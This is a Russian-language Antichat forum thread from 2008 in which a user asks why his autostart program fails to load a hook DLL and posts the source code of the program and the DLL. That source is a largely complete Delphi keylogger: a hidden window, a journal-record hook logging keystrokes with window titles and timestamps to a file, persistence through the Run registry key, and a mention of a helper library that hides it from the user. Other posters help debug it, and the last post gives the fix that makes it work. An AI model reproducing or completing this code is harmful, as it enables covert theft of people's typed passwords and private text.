ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проблема с загрузкой dll при автозапуске [delphi]
  #1  
Старый 26.03.2008, 20:30
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию Проблема с загрузкой dll при автозапуске [delphi]

Вознила проблема такого плана: файл загрузчик библиотеки dll прописан в автозапуске винды, при обычном запуске все протекает нормально программа подключает dll, но вот при автозапуске(после перезагрузки или выключения ПК) файл незагружает dll или загружает, но функции библиотеки непашут. Библиотека находится в той же папке, что и программа загрузчик, атозапуск осуществляется через реестр вот отсюда: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run.
Подскажите как решить данную проблему.
Код подключения к dll:
Код:
function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
Сама dll:
Код:
var
  Hk: HHook;
function Proc(nCode: Integer; wParam, lParam: Integer): Integer; stdcall;
  function MainWnd: HWnd;
  begin
    Result := FindWindow( nil, 'Hook' );
  end;

var K: HKL;
begin
  if nCode >= 0 then
  begin
    case nCode of
    HSHELL_WINDOWACTIVATED,
    HSHELL_LANGUAGE:
      begin
        K:=GetKeyboardLayout(0);
        SendMessage( MainWnd, $0400 + 2, wParam, k );

      end;
    end;
  end;
  Result := CallNextHookEx( Hk, nCode, wParam, lParam);
end;

procedure InstallHook;
begin
  Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
end;

procedure RemoveHook;
begin
  UnhookWindowsHookEx( Hk );
end;

exports InstallHook, RemoveHook;

Последний раз редактировалось Dr.KoD; 26.03.2008 в 20:49..
 
Ответить с цитированием

  #2  
Старый 26.03.2008, 20:39
Аватар для GlOFF
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Dr.KoD Нужно ещё код загрузчика для полноты дела
А так при запуске загрузчика системой. Самаже система анализирует експорт в твоем загрузчике и пытается найти dll в ПатчДиректориях... Может беда с путями?
 
Ответить с цитированием

  #3  
Старый 26.03.2008, 21:29
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Вот собсна загрузчик, но о каких путях может идти реч если все находится в одной папке, хотя делал и так чтобы грузилась из текущей директории притом сбда еще я прицепляю библеотеку, которая прячет всю эту байду от глаз юзверя как ни странно, но она загружается, а вот эта нехочет никаким образом:
Код:
const
  WinTitle='Hook';
  {$EXTERNALSYM WM_DESTROY}
  WM_DESTROY   =  $0002;
  {$EXTERNALSYM WM_USER}
  WM_USER   = $0400;

var
  Handle : HWND;
  WinClass: TWndClass;
  Msg: TMsg;
  LangInt:integer;
  OLDwnd , NEWwnd: string;
  h : hhook;
  LogFile: string;


function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';

function AnsiUpperCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;
function AnsiLowerCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;

function FileExists( const FileName : String ) : Boolean;
var
  Code: Integer;
begin
  Code := GetFileAttributes(PChar(FileName));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;

Function GetDateTime:string;
 var
  DT       : TSystemTime;
  Date,Time: array[0..32]of char;
begin
    GetLocalTime(DT);
    GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
    GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
    Result:= date + ' | ' + time;

end;

procedure WriteToTxt(fname,text: string);
var
  F: File;
  buf: array[0..2500] of Char;
  I : integer;
begin
    AssignFile(F, fname);
    If not FileExists(fname) then
    Rewrite(f);

    Reset(f,1);
    Seek(F, system.filesize(F) );
    for i:=1 to length(text) do buf[i-1]:=text[i];
    BlockWrite(F, buf, length(text));
    CloseFile(F);
end;


Function X_ScanKey(Key:AnsiString;
                   Lay:integer;
                   Ch,sh:boolean
                   ):string;
begin
  result:=key;
  key:= AnsiLowerCase(key);

        if length(key)>1 then
        begin
        if key='space' then key:=' ' else
        if key='enter' then key:=#13#10 else
        Key:='{'+key+'}';
        result:=key;
        exit;
        end;

  if Lay = 1 then
                  begin

  if sh then begin
  if key =  '`' then key:= '~';
// чуток обрезал для экономии места в посте
  if key =  '/' then key:='?';
  end;

                end else  if Lay = 2
                 then
                      begin
 if key = '/'  then key:='.';
 if key = '`' then key:='ё';
 if key = 'q' then key:='й';
// чуток обрезал для экономии места в посте
 if key = '.'  then key:='ю';

  if sh then begin
            if key = '\' then key:='/';
// чуток обрезал для экономии места в посте
            if key = '.' then key:=',';
         end;

    end;

  if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;

Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;

   function AC:string;
   var
   Handle:THandle;
   Len:LongInt;
   Title:string;
   begin
     Handle:=GetForegroundWindow;
     Len:=GetWindowTextLength(Handle) + 1;
     SetLength(Title,Len);
     GetWindowText(Handle,PChar(Title),Len);
     AC:=(Title);
   end;

  function IsCapsLockPressed:boolean;
    var KeyState  : TKeyboardState;

      function State(Ctrl : Word) : boolean;
      begin Result:=((KeyState[ctrl] and 1)=1); end;

   begin
      Result:=false;
       if GetKeyboardState(KeyState)=False then exit;
        Result:=State(vk_Capital);
   end;

   Function IsShiftPressed:boolean;
   begin
       if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
   end;

    function xLng(hHn:THandle):integer;
    begin
      xLng:=1;
      if (hHn and $FF) = 9 then  xLng:=1
      else if (hHn = $419) then  xLng:=2;
    end;

var
 c:array[0..255] of char;
 nScan:integer;
 iSuPPer:boolean;
begin

   if  ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
    or   ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
     then
       begin
         nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
         nscan:=nscan shl 16;
         GetKeyNameText(nScan,c,256);

         if (IsCapsLockPressed and IsShiftPressed)  then iSuPPer:=False else
         if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;

         NEWwnd := AC;
         if OLDwnd <> NEWwnd then
         begin
           OLDwnd := NEWwnd;
           WriteToTxt(LogFile,'[ '+OLDwnd+' ]  Time: ' + GetDateTime  + #13#10);
         end;

           WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
       end;
end;

function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;

    function xLng(hHn:THandle):integer;
    begin
      xLng:=1;
      if (hHn and $FF) = 9 then  xLng:=1
      else if (hHn = $419) then  xLng:=2;
    end;

begin

  case Wmsg of

     WM_USER+1, WM_USER+2:
      begin
        LangInt :=  xLng ( LOWORD( lParam ) ) ;
      end;

    WM_DESTROY:
    begin
       unhookwindowshookex(h);
       UnFookKB;
       ExitProcess(hnd);
    end;
  end;
   Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;

Procedure AppOn;
begin
GetStart;
ParamStr(0);
  with WinClass do
    begin
      lpszClassName:=WinTitle;
      lpfnWndProc:=@WndProc;
      cbClsExtra:=0;
      cbWndExtra:=0;
      hInstance:=hInstance;
      style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
      hbrBackground:=COLOR_WINDOW;
    end;
  RegisterClass(WinClass); 
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
end;

begin
AppOn;
ShowWindow(Handle, SW_HIDE);
FookKB;
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
  LogFile:= 'file.txt';
  while GetMessage(Msg, 0, 0, 0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;
end.
 
Ответить с цитированием

  #4  
Старый 26.03.2008, 21:47
Аватар для GlOFF
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Если все в одной папке, то гуд! ))
Попробуй отцепить байду, которая прячет все... А только работай с либой, с которой щас проблемы...

P.s. пенч. не умею.
 
Ответить с цитированием

  #5  
Старый 26.03.2008, 22:04
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Цитата:
Сообщение от GlOFF  
Если все в одной папке, то гуд! ))
Попробуй отцепить байду, которая прячет все... А только работай с либой, с которой щас проблемы...

P.s. пенч. не умею.
Да уже отцеплял, бестолку, непашет этот вариант.

Неужели никто несталкивался с такой проблемой?
 
Ответить с цитированием

  #6  
Старый 26.03.2008, 22:18
Аватар для Xserg
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Dr.KoD а для чего тебе команда:?
h=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstanc e,0);
Загрузчик у тебя тоже dll ?
 
Ответить с цитированием

  #7  
Старый 26.03.2008, 23:22
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Цитата:
Сообщение от Xserg  
Dr.KoD а для чего тебе команда:?
h=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstanc e,0);
Ну а ты попробуй убери этот кусочек и увидиш что будит.
 
Ответить с цитированием

  #8  
Старый 26.03.2008, 23:44
Аватар для Xserg
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Добавь
Код:
function InstallHook:dword;
begin
  Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
 Return:=Hk;
end;
--------------
X:=FookKB;

И посмотри чему равен X в обоих случаях.
 
Ответить с цитированием

  #9  
Старый 27.03.2008, 00:29
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Может Result:=Hk, а то некомпилится, а так и это пробовал, но положение неменяется.
Пир обычном запуске все пашет, а вот при автозагрузке нехочет.
 
Ответить с цитированием

  #10  
Старый 28.03.2008, 21:00
Аватар для Dr.KoD
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Кароч все сделал, оказалось все просто до безобразия, в самом конце dll добавляем:

Код:
begin
InstallHook;
end.
И после этого все грузится замечательно.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
TICQClient Проблема при рассылке! [DELPHI] De-visible С/С++, C#, Delphi, .NET, Asm 9 22.03.2008 20:34
Как «растянуть» аккумулятор novichok Сотовый фрикинг 4 28.02.2006 22:47
химия своими руками silveran Болталка 43 11.01.2006 22:05
ВАЖНАЯ ПРОБЛЕМА!!! Sn_key Уязвимости 13 08.06.2005 15:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ